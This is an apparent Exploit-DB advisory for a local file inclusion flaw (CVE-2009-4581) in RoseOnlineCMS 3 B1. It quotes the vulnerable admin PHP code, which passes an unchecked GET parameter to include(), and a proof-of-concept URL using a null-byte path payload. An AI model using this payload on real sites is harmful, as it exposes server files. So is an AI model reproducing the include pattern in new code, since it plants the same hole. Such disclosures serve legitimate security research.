RoseOnlineCMS <= 3 B1 admin Local File Inclusion

2009-12-30T00:00:00
ID EDB-ID:10793
Type exploitdb
Reporter cr4wl3r
Modified 2009-12-30T00:00:00

Description

RoseOnlineCMS <= 3 B1 (admin) Local File Inclusion. CVE-2009-4581. Webapps exploit for php platform

                                        
                                                                        \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   | RoseOnlineCMS &lt;= 3 B1 (admin) Local File Inclusion |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r &lt;cr4wl3r[!]linuxmail.org&gt;
[!] Download: http://sourceforge.net/projects/rosecms/files/
[!] Date: 30.12.2009
[!] Remote: yes

[!] Code :

&lt;?PHP 
if (isset($_GET['write'])) {
	$argv = explode('-',$_GET['write']);
	settype($argv,'array'); 
	$_GET['admin'] = @$argv[0];
	$_GET['url'] = @$argv[1];
	$_GET['do'] = @$argv[2];
	$_GET['key'] = @$argv[3];
}
$admin = !isset($_GET['admin']) ? index : $_GET['admin'] ;

   if (is_file("modules/admin/".$admin.".php")) {
   		include("modules/admin/".$admin.".php");
	
   } else {	
		echo('Administrator page not found.
					&lt;br&gt;&lt;br&gt; &lt;a href=index.php&gt;Click here to go back home&lt;/a&gt;'); 
   }

ob_end_flush();
?&gt;

[!] PoC:

    [RoseOnlineCMS_path]/modules/admincp.php?admin=[LFI%00]